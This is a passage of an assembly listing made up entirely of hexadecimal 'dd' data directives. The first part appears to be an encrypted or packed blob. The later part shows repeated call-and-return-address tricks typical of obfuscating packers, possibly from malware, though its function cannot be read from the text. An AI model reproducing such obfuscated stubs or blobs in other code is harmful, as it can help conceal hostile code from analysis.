		dd 2AE72150h, 0E9A37454h, 0A7728DF6h, 2CEF3DB1h, 3B9FB192h
		dd 257C3247h, 2A9F32D1h, 0B42BF54h, 0C2E12742h,	2AF33450h
		dd 0B69E5F0Ah, 2AFC3ABDh, 612D1B54h, 3B12AABCh,	1595074Fh
		dd 7A8FB530h, 6E6CFBDFh, 70A43070h, 7A9934DFh, 0E4775206h
		dd 712C055Bh, 0A1596C0Eh, 6E1655ADh, 789F3070h,	2AE725BCh
		dd 73DF5054h, 4B7D0EECh, 0EEE1F527h, 61D77481h,	38D6030Ah
		dd 219F3454h, 0E1107111h, 7BB3F981h, 498BADF1h,	0BD4DCA50h
		dd 1BF36A38h, 0A1186604h, 7B0E3BAFh, 70C76E0Dh,	2AA56C0Ch
		dd 2AE4DC07h, 71D33454h, 76706F97h, 6E7D3070h, 2A643070h
		dd 797C3454h, 0FF34CF97h, 45136279h, 0E289DDh, 9F0C3247h
		dd 2CEA2ABDh, 0C2AB343Eh, 2A7E3457h, 75FC6B74h,	2EBB48DDh
		dd 2EEB70D5h, 2AE73441h, 5D306313h, 0E7C08B4Fh,	0AF717BDCh
		dd 2C684867h, 0C269343Eh, 2A9F3457h, 740C6A74h,	2EC340DDh
		dd 2ED770D5h, 2AF93441h, 8F3F6212h, 0ECFF524Bh,	0FAC0E637h
		dd 0C2CE343Eh, 2ACF3457h, 73246D74h, 2ED778DDh,	2EDD70D5h
		dd 2AFC3448h, 3EBD6515h, 98655197h, 98999EEBh, 692B1DDh
		dd 2A8D3247h, 2AF0DC05h, 73D93454h, 66756D97h, 6EFF3070h
		dd 2A243070h, 7BDE3454h, 54C19797h, 0C3BE9B9Ch,	0A7EC864Fh
		dd 39F54DD1h, 7BFC5E52h, 2A7E37BCh, 0E9661454h,	0ED3BD0Dh
		dd 0E8BB550h, 2AE72250h, 0E9A27554h, 0A3285800h, 39E1A9E1h
		dd 0DBFBBD52h, 93392753h, 4C68867h, 2AC9B15Bh, 0BFD63454h
		dd 2CE026F9h, 3B18B192h, 40AF3247h, 29966254h, 0A3F3454h
		dd 0A3C1F70Ah, 0ABCB1020h, 33E31010h, 6CF33454h, 0ED78F702h
		dd 57B421AAh, 0A971C134h, 2A3F3457h, 4B11F2D4h,	2ACF3EBCh
		dd 28E14E54h, 1A839F6Ch, 93671FF0h, 18CAFE35h, 0BFF33F0Dh
		dd 42392742h, 0F4B10919h, 2ACCBF5Bh, 0A1813454h, 0EF7B59Eh
		dd 347A3FDFh, 0C2AF343Eh, 2A7E3457h, 71FC6F74h,	2EBB68DDh
		dd 2EEB70D5h, 2AE7344Dh, 0B1306717h, 0B2B03605h, 0C349CBAAh
		dd 4078274Ah, 29D76354h, 0A9F3454h, 0A390F70Bh,	0ABE31028h
		dd 32F71010h, 6DF93454h, 4D7CF703h, 0A30A60CEh,	392CE1E9h
		dd 0DD1E5252h, 0AF422285h, 2CF14867h, 2502A1DDh, 0FA063247h
		dd 1BF5A1DDh, 0A3823247h, 39329DD1h, 7F9F5E52h,	2ACF37BCh
		dd 0E9BA1454h, 0E9FBD09h, 0EBDB550h, 2AFC2250h,	0E92B7154h
		dd 3F840D2h, 398E51D1h,	2C463B52h, 0A3E73454h, 39FEF1E1h
		dd 0CB7CF252h, 79FA2745h, 0C22E343Eh, 2A3F3457h, 725C6C74h
		dd 2EEB70DDh, 2EC370D5h, 2AF33449h, 913A6414h, 64625F29h
		dd 4FE0047Eh, 5BB2BDE3h, 399277Ch, 39CAB5D9h, 8D55C52h
		dd 1E72D1C3h, 0A51FB570h, 0D1775269h, 349781ABh, 0AFB23247h
		dd 2C894867h, 0C29E343Eh, 2AE73457h, 73306D74h,	2EDD78DDh
		dd 2ED870D5h, 2A7E3442h, 60FC6515h, 0FA6008C6h,	2F328955h
		dd 0AF6E3247h, 2CE03D3Dh, 0AA2A8D32h, 3B1DB192h, 4C393247h
		dd 0BFB4E3DFh, 2C8C3A11h, 2ACF30BCh, 0F43A9D54h, 21A88BE3h
		dd 9FA967B3h, 0EB8BF2Dh, 2A71DC50h, 68243454h, 6101EAF6h
		dd 0ECD90801h, 7FD3C1B8h, 0A195547Bh, 4B11BE8Eh, 0A3FCBF0Eh
		dd 0A17A1010h, 2A556CA3h, 2A9CDC07h, 71EF3454h,	766E6F97h
		dd 6E723070h, 2AED3070h, 79BF3454h, 9F81B097h, 2C2C2ABDh
		dd 56ACB1D9h, 2AA53242h, 2AE4DC04h, 72D33454h, 6E706C97h
		dd 6E7D3070h, 2A673070h, 7A7F3454h, 52A45997h, 0D5467EF1h
		dd 78E75E84h, 2AF337BCh, 0E9A31454h, 0EA8BD0Eh,	0E3AB550h
		dd 2A3F2F50h, 0E9CD7654h, 541E2928h, 0D64B2C7Dh, 2AE5B65Bh
		dd 3B103454h, 0A9FC3454h, 3F0B62C0h, 2040B5C9h,	660A7797h
		dd 482D1578h, 2AEAB1DDh, 2A993247h, 2AFADC02h, 74DC3454h
		dd 5EF76A97h, 6EBE3070h, 2A873070h, 7C893454h, 6ACF4397h
		dd 0AF351656h, 2CEA25B5h, 2AF8DC13h, 3A043454h,	2DD7B588h
		dd 339F3454h, 0C643E8B9h, 0DA6D86CFh, 251B640Dh, 33F93454h
		dd 0F5050BA1h, 0FE39918Bh, 0ED78EA29h, 0A1F92EC0h, 6E446AAEh
		dd 78B73070h, 2500BF32h, 43405265h, 0A1A46E52h,	31F83B54h
		dd 0C23F3454h, 2A9F3446h, 507EE834h, 9442907Eh,	0EC4F5058h
		dd 0B422C4EEh, 0A19A546Ah, 6EF76E9Fh, 0AD303070h, 2A9F3454h
		dd 78CF5E0Ch, 2AE737BCh, 0E9A91454h, 0EADBD0Eh,	0EB8B550h
		dd 2A7E2D50h, 0E96D7654h, 145D25F6h, 9F30D4E8h,	2CF42ABDh
		dd 0A724835Bh, 3C8507D1h, 7DFC5E52h, 2A7E37BCh,	0E9601454h
		dd 0EE3BD0Bh, 0E8BB550h, 2AE72050h, 0E9A47354h,	7744BF9Dh
		dd 0D5FA2776h, 787E5E84h, 2A3F37BCh, 0E9C51454h, 0E9BBD0Eh
		dd 0EA3B550h, 2AF32250h, 0E9AB7654h, 0C28D1B73h, 2A7E3451h
		dd 90E261A6h, 29183B71h, 25CF3454h, 0A3B8C7EBh,	39EA11D1h
		dd 27106452h, 0E1FC3454h, 2DBAA328h, 61BC55A0h,	100398ECh
		dd 0CB4AF20Ah, 6DE12745h, 2AF7DCACh, 16A43454h,	7AAC9E99h
		dd 7A4F3B06h, 2AB03B06h, 259F3454h, 0E3F98A65h,	72BD091Dh
		dd 6E786C0Eh, 2D113070h, 98FC3454h, 0E6C65F13h,	0A1603BC7h
		dd 25CD6454h, 2ACF22DCh, 2AF6DD54h, 17303454h, 0A0369CDEh
		dd 4DA47D96h, 0ED80DD36h, 259ECCC1h, 575A8E65h,	72951C5Bh
		dd 2EC370DDh, 1BFC6604h, 25A16C0Eh, 2AFC37DBh, 0FDC13B54h
		dd 34D681ABh, 2AF53247h, 2ACCDC03h, 75C73454h, 567A6B97h
		dd 6E783070h, 2AE83070h, 7D393454h, 0A73C2497h,	2C8C1C09h
		dd 0E1DE8B32h, 56D4B1D9h, 0E1793242h, 2A93E4ABh, 2AFFDC06h
		dd 705E3454h, 7EB66E97h, 6E1E3070h, 2AD43070h, 78A53454h
		dd 30EFF997h, 9E9F1F18h, 0A332BFCBh, 396FF5D1h,	2AB83B52h
		dd 0D59F3454h, 7ACF5E84h, 2AE737BCh, 0E9AB1454h, 0EBDBD0Ch
		dd 0EB8B550h, 2A7E2150h, 0E96F7454h, 0A7148F30h, 2CDC2901h
		dd 0B2B1DDh, 2A993247h,	2AFADC05h, 73DC3454h, 66F76D97h
		dd 6EBE3070h, 2A8A3070h, 7B8E3454h, 0D694B997h,	0C22BB832h
		dd 2AF9345Dh, 0FBE3856Fh, 418305DCh, 278ABF4Ah,	74992747h
		dd 2AA53070h, 2AE4DC01h, 77D33454h, 46706997h, 6E7D3070h
		dd 2A6B3070h, 7F7A3454h, 0AB8C3B97h, 6ACA958Eh,	25273E48h
		dd 2AF091D0h, 79F95E54h, 2AFC37BCh, 0E9251454h,	0E63BD0Fh
		dd 0EDBB550h, 2ACF2050h, 0E9B47754h, 0AF35CCDEh, 2CEA25B5h
		dd 5341BF1Bh, 0C278274Bh
		dd 2A3F3450h, 951F5890h, 0FA445204h, 2EC370DFh,	2AE1DD07h
		dd 18243454h, 69C0E41Eh, 4DCDEC08h, 86FB9A83h, 0B6F7B6DCh
		dd 25CFBF0Ah, 2AE731DCh, 0D77C8E54h, 6E703934h,	949A3070h
		dd 4026E04Bh, 29D76754h, 0A9F3454h, 0A394F70Fh,	0ABE31008h
		dd 3CF71010h, 69F93454h, 0F1F1F707h, 2A72DD91h,	4DC63454h
		dd 4486F1D9h, 7F939AABh, 258732B3h, 2AF332DEh, 6B6CBD54h
		dd 25FA275Fh, 0D51FCBEBh, 3921DDE1h, 7F9F5E52h,	2ACF37BCh
		dd 0E9BA1454h, 0E9FBD09h, 0EBDB550h, 2AFC2C50h,	0E92B7154h
		dd 2B460C74h, 191AB9A5h, 4AC92228h, 3002A9DDh, 0B7F03247h
		dd 2CEA05D9h, 0D22CCB35h, 5F389DFh, 0EABC3247h,	347F8E70h
		dd 0AF46156Dh, 2CF43E69h, 1B56B9DDh, 0AF723247h, 2CEF1E01h
		dd 0C229343Eh, 2A3F3457h, 755C6B74h, 2EEB48DDh,	2EC370D5h
		dd 2AF3344Dh, 133A6313h, 907EC603h, 0EBE3BF20h,	40392745h
		dd 29776454h, 0ACF3454h, 0A3BFF70Ch, 0ABF71010h, 3CFD1010h
		dd 6AFC3454h, 0AC94F704h, 2A32DD74h, 45FE3454h,	6BB5B4h
		dd 0B6CC867Ah, 6951DFDFh, 0C2AC343Eh, 2AFC3457h, 77BD6974h
		dd 2E1B58DDh, 2EBB70D5h, 2ACF344Ch, 0A246111h, 54991B0Eh
		dd 2D4B95Fh, 0A09C3247h, 0DDC13B9Ch, 0A124BF35h, 398DB1C1h
		dd 40D4BF52h, 290F6754h, 0AF33454h, 0A3A2F70Fh,	0ABF81008h
		dd 3F7A1010h, 693F3454h, 1897F707h, 2AA52FDFh, 2AE4DC02h
		dd 74D33454h, 5E706A97h, 6E7D3070h, 2A653070h, 7C793454h
		dd 814E7497h, 406D622Fh, 0CF7207C7h, 0A3F52778h, 39EFB5E9h
		dd 40240752h, 29966654h, 0A3F3454h, 0A3C5F70Eh,	0ABCB1000h
		dd 37E31010h, 68F33454h, 0DD32F706h, 0B7474572h, 0DEB7083h
		dd 0DC865202h, 0B7166E19h, 2CDC31EDh, 0C2B6343Eh, 2AF33457h
		dd 733A6D74h, 2ED878DDh, 2E5A70D5h, 2A3F3440h, 0CF5C6515h
		dd 2B20E1D4h, 39EDFDE1h, 0CB76F252h, 6DFF2745h,	0AC1EB532h
		dd 0A97154ADh, 2A3F3452h, 3E12A1DFh, 0A7C03247h, 2AE73455h
		dd 19B55ACh, 0AB648938h, 9B7E1060h, 0D58B1E37h,	3921DDE1h
		dd 7F9F5E52h, 2ACF37BCh, 0E9BA1454h, 0E9FBD09h,	0EBDB550h
		dd 2AFC2D50h, 0E92B7154h, 0DA9DE012h, 0A1CFFF87h, 0BF466B9Eh
		dd 2CF439D5h, 385EB977h, 0AF743247h, 2CEA4867h,	0C22E343Eh
		dd 2A3F3457h, 725C6C74h, 2EEB70DDh, 2EC370D5h, 2AF33448h
		dd 763A6414h, 72EE0379h, 6D7E1F32h, 2A55E4ABh, 2A9CDC06h
		dd 70EF3454h, 7E6E6E97h, 6E723070h, 2AEE3070h, 78BE3454h
		dd 0DA9E0C97h, 638217D5h, 0A3992741h, 39CF39D1h, 7AE75E52h
		dd 2AF337BCh, 0E9A11454h, 0EB8BD0Ch, 0E3AB550h,	2A3F2F50h
		dd 0E9CF7454h, 2ACBA942h, 5FC1B732h, 7BF35E14h,	2AF937BCh
		dd 0E9A51454h, 0E32BD0Dh, 0E7BB550h, 2A9F2C50h,	0E99E7554h
		dd 1B7AB18Ch, 0F87252ACh, 2A7254FBh, 0C2AD343Eh, 2A7E3457h
		dd 73FC6D74h, 2EBB78DDh, 2EEB70D5h, 2AE7344Dh, 0CF306515h
		dd 2A96359Bh, 6F711D8Fh, 0A1782765h, 0EB865254h, 6B1ABD4Eh
		dd 25C92751h, 0D80EC5E3h, 40F33454h, 29116554h,	0AFC3454h
		dd 0A327F70Dh, 0AB3B1018h, 379B1010h, 6BCF3454h, 0CF66F705h
		dd 85899005h, 42813CAFh, 0AF714FE1h, 2C68F03Ah,	0A89DFh
		dd 90CF3247h, 0F8EFD3Fh, 40C330DDh, 291B6554h, 0AF93454h
		dd 0A3A5F70Dh, 0AB7A1018h, 313B1010h, 6B9F3454h, 0F2F4F705h
		dd 0B91B121Ch, 0BF0C436Bh, 2CEA25B9h, 0A732BF32h, 3CBA40C9h
		dd 5FB2BF52h, 0A3992764h, 39C67DC9h, 9081A752h,	0A1A3562Ch
		dd 2A93A7A4h, 2AFFDC06h, 705E3454h, 7EB66E97h, 6E1E3070h
		dd 2AD53070h, 78A53454h, 0BBEC4597h, 10896133h,	7A05835Bh
		dd 2A72BB5Bh, 0A7303454h, 2A9F3452h, 2ACFB25Bh,	2E6E3454h
		dd 2AE3DC70h, 97043454h, 28A79F2h, 749CA8Dh, 580839E4h
		dd 0BFAE4AA7h, 2CDC10D1h, 3F72CB0Dh, 0A1F52747h, 177CBD84h
		dd 4CFA275Eh, 0A18D17EEh, 392D39C1h, 0CB1AF252h, 79C92745h
		dd 0C2B4343Eh, 2AF33457h, 713A6F74h, 2ED868DDh,	2E5A70D5h
		dd 2A3F344Eh, 855C6717h, 0CB80D7EFh, 0BF6EA542h, 2CE03A45h
		dd 2AF930BCh, 0AD784B54h, 7A8CBFFEh, 2E1B70DFh,	0ED19E7EDh
		dd 4CCFBF60h, 0A319A5EDh, 0A1F71010h, 2A936C85h, 2AFFDC07h
		dd 715E3454h, 76B66F97h, 6E1E3070h, 2AD23070h, 79A43454h
		dd 24754497h, 9C321E9Fh, 4C2DE441h, 0D58937EBh,	3921DDE1h
		dd 789F5E52h, 2ACF37BCh, 0E9BD1454h, 0EA7BD0Eh,	0EBDB550h
		dd 2AFC2C50h, 0E92C7654h, 0BAE74776h, 97021D27h, 0D3C9275Ch
		dd 56D4B1D9h, 25933242h, 2AF931D7h, 0DA7D5254h,	97F55E91h
		dd 2C2C2EE9h, 34FCB35h,	39C979E1h, 0BF62BD52h, 40F5274Ah
		dd 29116154h, 0AFC3454h, 0A323F709h, 0AB3B1038h, 379B1010h
		dd 6FCF3454h, 415BF701h, 0E99AB70Bh, 3CA2633Ch,	212E8D32h
		dd 3B9FB192h, 0A3783247h, 3994D5D1h, 2ACBDC52h,	3F773454h
		dd 0A1FC9526h, 2AF93451h, 0EE42EFEDh, 26976446h, 0E83F3454h
		dd 2AE12210h, 0E420AC44h, 0A1CF79CCh, 4AF71010h, 0A19FE3DFh
		dd 2A775583h, 2A77BD5Bh, 9E5F3454h, 1A018F86h, 0A3AE5819h
		dd 0A1E31010h, 0A6FC6CAEh, 2AF93457h, 0A302835Bh, 3963D9E1h
		dd 0C38ACB52h, 9B99274Ah, 194AB9BAh, 40E12228h,	291B6354h
		dd 0AF93454h, 0A3A3F70Bh, 0AB7A1028h, 3F3B1010h, 6D9F3454h
		dd 64D1F703h, 1AC689DDh, 0FA0C3247h, 0A32B8B5Bh, 39CE1DD1h
		dd 7B7E5E52h, 2A3F37BCh, 0E9C61454h, 0E83BD0Dh,	0EA3B550h
		dd 2AF32950h, 0E9A87554h, 39A736AFh, 0A8CC7B0Ah, 0AFF9F8AEh
		dd 2C8C25B5h, 0D4783B07h, 0D680B03Ch, 214C52F1h, 0ECDB5FBh
		dd 16390C40h, 9F81C4DEh, 2C2C2ABDh, 345E897Dh, 0AF423247h
		dd 2CF14867h, 2C8244EAh, 0A129CB47h, 39DC15C1h,	0A3FBBD52h
		dd 9C392749h, 0CB1AF2BFh, 7DC92745h, 2BE8167h, 0B49B3247h
		dd 94698807h, 44705C41h, 0B25A00D5h, 7B3F8C55h,	2A99BC5Bh
		dd 97463454h, 2CF41D9Dh, 0C346CB0Dh, 40FF274Ah,	29146654h
		dd 0A7E3454h, 0A365F70Eh, 0AB9B1000h, 3DCB1010h, 68E73454h
		dd 0D43F706h, 814793B1h, 0A7BDDE5Eh, 3C0207D1h,	7B3F5E52h
		dd 2A9F37BCh, 0E9961454h, 0EABBD0Dh, 0EB7B550h,	2AF92150h
		dd 0E9AD7554h, 0A7F55022h, 2C2C34FDh, 0A1F9E4ABh, 874ABD9Fh
		dd 0A3E12765h, 39C7C1C9h, 0CB7CF252h, 69FA2745h, 0C7A3C5D5h
		dd 2ED71176h, 29F3454h,	7B73A424h, 7AB920E2h, 8E426306h
		dd 6E726A0Dh, 78AC3070h, 2A7E3ABDh, 90516E54h, 73D07F9Ch
		dd 564711Dh, 250D39E1h,	0C3C88B65h, 72A370FAh, 0A19A34DFh
		dd 0E3ABD9Fh, 2A2BDC50h, 0B2E53454h, 0D77E80Dh,	11288B29h
		dd 1F0E37C6h, 76BA155h,	78AC1DC9h, 2A7E25BCh, 0F5005F54h
		dd 0DE51E791h, 0BED9DE0Ah, 3432568Fh, 25A9FDB6h, 7033BF65h
		dd 0C3A46A0Ch, 2A7E3447h, 5B114FF7h, 0EE40CC67h, 73B6945Bh
		dd 0F9112C97h, 0D56833E5h, 39E7DDE1h, 7AFC5E52h, 2A7E37BCh
		dd 0E9671454h, 0EDBBD0Ch, 0E8BB550h, 2AE72D50h,	0E9A37454h
		dd 0B2CC4E3Eh, 2F15E44Eh, 8C7E3454h, 43F21CAEh,	2A9F3BBCh
		dd 55AEEC54h, 879437Eh,	21ADC347h, 7195E278h, 739DC134h
		dd 564DB1D9h, 2A553242h, 2A9CDC02h, 74EF3454h, 5E6E6A97h
		dd 6E723070h, 2AE33070h, 7CBA3454h, 5EE79D97h, 2D1901A4h
		dd 0BE28E32h, 0F34EE4ABh, 3ADD64DBh, 387AB1DDh,	2A933247h
		dd 2AFFDC03h, 755E3454h
		dd 56B66B97h, 6E1E3070h, 2AD83070h, 7DA03454h, 0DB9A2597h
		dd 39793B72h, 0C2FC3454h, 2A7E345Ch, 0FCFC5B8Eh, 0CD732C3Dh
		dd 2F0EB532h, 0AF6A6E86h, 2CE5F030h, 0C2AE343Eh, 2AFC3457h
		dd 75BD6B74h, 2E1B48DDh, 2EBB70D5h, 2ACF3442h, 41246313h
		dd 0AB957C35h, 0A30532A5h, 39EB41C9h, 23966452h, 0A73F3454h
		dd 0D74782F0h, 12F19298h, 74865406h, 0EF7BD0Ah,	0C2AF343Eh
		dd 2AFC3457h, 74BD6A74h, 2E1B40DDh, 2EBB70D5h, 2ACF3449h
		dd 0FB246212h, 0D2119394h, 0A9DAD880h, 0C769CBD9h, 25782745h
		dd 2A3F3DD8h, 29163B54h, 25CF3454h, 0F26CC7EBh,	21A681DDh
		dd 0A7703247h, 2CEF16E5h, 0EE26B1D9h, 0A1593242h, 78CFA487h
		dd 84297FEAh, 0A1D63B15h, 7AAB6E87h, 2AFCBF5Bh,	76463454h
		dd 0BA645090h, 0C268343Eh, 2A9F3457h, 750C6B74h, 2EC348DDh
		dd 2ED770D5h, 2AF9344Dh, 203F6313h, 56B77B6Fh, 258564B9h
		dd 0A3E22BDFh, 2AA51048h, 2AE4DC06h, 70D33454h,	7E706E97h
		dd 6E7D3070h, 2A6B3070h, 787D3454h, 0A3442297h,	39ECC5D1h
		dd 3F72CB52h, 25F52747h, 0AF70C4E3h, 2CEF1545h,	0C22D343Eh
		dd 2A3F3457h, 715C6F74h, 2EEB68DDh, 2EC370D5h, 2AF3344Fh
		dd 243A6717h, 0D6535112h, 25BEBC9Eh, 2A3F32D8h,	930ABF54h
		dd 0EDC92747h, 39EC15D1h, 2AF33B52h, 7CF95E54h,	2AFC37BCh
		dd 0E9201454h, 0E4BBD0Ah, 0EDBB550h, 2ACF2C50h,	0E9B17254h
		dd 8CBE62C8h, 0E374BF09h, 4CFA274Fh, 0D55E2FEAh, 391E25C1h
		dd 7D9F5E52h, 2ACF37BCh, 0E9B81454h, 0E8FBD0Bh,	0EBDB550h
		dd 2AFC2F50h, 0E9297354h, 7756E10Bh, 316D72C1h,	113EADEBh
		dd 4B62BD35h, 25F52766h, 2AF932D5h, 836B554h, 0A149F466h
		dd 391369D1h, 0D102B952h, 0A3C92283h, 976A3517h, 2CE0382Dh
		dd 0FD2C81D9h, 19453242h, 0D97E3454h, 920CDFF0h, 2A9F3454h
		dd 29BBF45Fh, 0A1E72C96h, 79FF1010h, 2AF934BCh,	0E97D6F54h
		dd 2A7E3443h, 3A1B68DDh, 3EBB70DDh, 0D0F88C0Fh,	0CA1834E4h
		dd 2ED770DFh, 2A93D4ABh, 2AFFDC04h, 725E3454h, 6EB66C97h
		dd 6E1E3070h, 2AD53070h, 7AA73454h, 93DA0597h, 0D45A372Ch
		dd 251543E2h, 0B97E3454h, 23C8C079h, 0AD6AE556h, 0FC24A99h
		dd 4086D34Fh, 291B6254h, 0AF93454h, 0A3A2F70Ah,	0AB7A1020h
		dd 3C3B1010h, 6C9F3454h, 2529F702h, 725AB9E6h, 0A7F52290h
		dd 3C214FD9h, 81C98C52h, 0AF4DAC72h, 2C2C2021h,	0DF4AFB7Fh
		dd 4735F2A1h, 3EEA7232h, 57C2AB34h, 742A7E34h, 0DD75FC6Bh
		dd 0D52EBB48h, 5E98370h, 0D98BA4F3h, 95BF6660h,	858B5781h
		dd 6133531h, 5BE9615Eh,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 9E2EC355h
		dd 182AE61Bh, 0FCEECDF7h, 0CE9h, 63D40D00h, 43CF3740h
		dd 0D949A581h, 0BE961ADh, 0C0000000h, 4A3D0352h, 9F4B78B1h
		dd 0E9C35218h, 0Eh, 5C92AA93h, 0F2B8E199h, 0E64707EDh
		dd 0C08BA45Eh, 25BD83F8h, 61316h, 0BD830975h, 6132C81h
		dd 50197400h, 0B8C08B53h, 4B9h,	31158589h, 9D8D0613h, 615A9E4h
		dd 585BD3FFh, 2C81BD83h, 74000613h, 0B8535017h,	4B9h, 31158589h
		dd 9D8D0613h, 615A685h,	585BD3FFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 20C35545h, 0A870Fh,	5E90000h
		dd 0AA000000h, 3EAF7771h, 0AE9FCh, 13580000h, 195FC125h
		dd 0CE2C63A0h, 6AC08Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 235E9FC3h, 0E99E5735h, 12h, 0C2FFB29Ah
		dd 33EEA76Ch, 69E33EFh,	5B1DAE6Eh, 40F87BC4h, 0D8BEC18Bh
		dd 0EB5D52EBh, 4, 0C1858900h, 8D06131Eh, 131EA985h, 19D8906h
		dd 90061315h, 5E8h, 65ED1800h, 505E5DC4h, 8F78BE52h, 905F07CEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A3C35040h
		dd 0F103E622h, 318D01B8h, 8B06130Fh, 131ABDB5h,	6A006A06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0CE52C352h, 0A59968E5h, 8D89006Ah, 61309A1h
		dd 0DB86858Dh, 83FC0616h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 67F2BAC3h, 0D9117BBCh
		dd 509039E5h, 5E8h, 109C6200h, 75BF0BA4h, 5F77A217h, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0E45AFFFAh, 0BF28ACh, 0E850Fh, 29600000h, 13256D9Dh
		dd 0DDB58B06h, 61061325h, 21B58Bh, 6A0613h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 60C35545h, 891E5DE8h
		dd 132B998Dh, 0B006A06h, 130F91BDh, 10E906h, 27F80000h
		dd 1B71863Dh, 0DD39B753h, 1F48A7B6h, 95FF8D2Eh,	61307F1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 71C35646h
		dd 0BD2B2C85h, 613207Dh, 0A36A9D8Dh, 7DBF0616h,	0FF4A3F03h
		dd 57006AD3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0E48F91F7h, 0BCADC83h, 132B91BDh, 0D985FF06h
		dd 66061316h, 0DE9BC781h, 889E9h, 0E800h, 815D0000h, 16DB90EDh
		dd 399D0106h, 81061301h, 130B21BDh, 7D006h, 0C7860F00h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 76B4C356h, 0EEF36281h,	63E2A867h
		dd 14619D8Bh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 6414A3C3h, 8127A904h, 100E3h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 9D899564h, 6131F0Dh,	0BF78B66h, 9B850FDBh, 8B000000h
		dd 0D7BD83FBh, 616D9h, 2D840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 82975AC3h
		dd 0A3867FADh, 8CE9h, 0E18D2900h, 0C7061322h, 16D9D785h
		dd 106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0E9FE304Ah, 8, 0A5A62526h, 0B04C5968h
		dd 4CE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 9FC65BA7h, 0D6612EDh, 85C7781Dh
		dd 616D9D7h, 0
		dd 11E8h, 7598500h, 16F884B3h, 4676F38Ah, 0A8C2231Dh, 0B58B2737h
		dd 6131D75h, 619D8D5Fh,	6A061314h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E29AC353h
		dd 0A3B76D2Dh, 8D099452h, 6132A35h, 0FEFF2381h,	6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0AB7B0EC3h, 4D421C55h, 0E8608A5Ah, 0Ch, 9B6072F2h, 0D812B786h
		dd 0EBA5BB19h, 6E8h, 5A50E100h,	5FA6B43Fh, 0C98D8B5Ah
		dd 61061319h, 21BD29h, 8C660613h, 53006ADBh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E9C51083h
		dd 14h,	0EBC6CF1h, 858DA7E1h, 57BC6330h, 4003671Fh, 91D65B17h
		dd 0F04C3F6h, 8684h, 89858900h,	0FF06130Eh, 13211195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0B5AEF67Dh, 61BD8B46h, 8106131Eh, 0D5D6CF7h
		dd 13E9900Ah, 0DC000000h, 0F6012497h, 0AA3454DAh, 0F935E52Dh
		dd 30AFE915h, 0F509C6Dh, 8Fh, 6A9000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0CE910C3h
		dd 0CF000000h, 0AE4B8D3h, 1912FE3Ah, 0E91F055Dh, 4BFh
		dd 15800Fh, 10E90000h, 6000000h, 0CD819B71h, 6B8D8548h
		dd 9F52448Eh, 0B0C25299h, 13E900h, 9CC50000h, 0FC907BDDh
		dd 0C3BD48D5h, 96B0301Ch, 0FCC79F60h, 6A70E622h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0A98AC353h, 8B0D017Dh, 6A71E4FAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89EEC355h
		dd 132175BDh, 0D8B60F06h, 8E0Fh, 8E90000h, 0DC000000h
		dd 3901F18Ah, 0BA05FE37h, 6, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 4FC35747h, 0BD336AFCh, 6131F3Dh
		dd 0E1BD8B60h, 89061318h, 1301B1BDh, 0C38B6106h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A7C35747h, 6A04E8C1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 129AC352h, 8BE2F766h, 131EADB5h, 47F7BF06h
		dd 0D82B2818h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0F4C35545h, 0ABA2F1ADh,	93FB3832h, 6964BE50h, 6A935C52h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0DB9CC353h, 1D2D126Ah, 5D26DB58h,	8BF88B66h
		dd 132CF5BDh, 21B5FF06h, 6A06130Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0C84DC352h
		dd 0A170A254h, 0F99E188h, 9D89F9BFh, 6131305h, 0DA995FFh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 686234C3h, 0DA06027Ch, 0B0F818C4h, 0D9BD3300h
		dd 0E6061331h, 55006A70h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 7D8966D6h, 0F724121h
		dd 8D0FF6B7h, 6, 16218501h, 71E40613h, 830F613Ch, 2ABh
		dd 0B60FF98Bh, 51006AD8h, 3E8h,	0C3592000h, 244C8959h
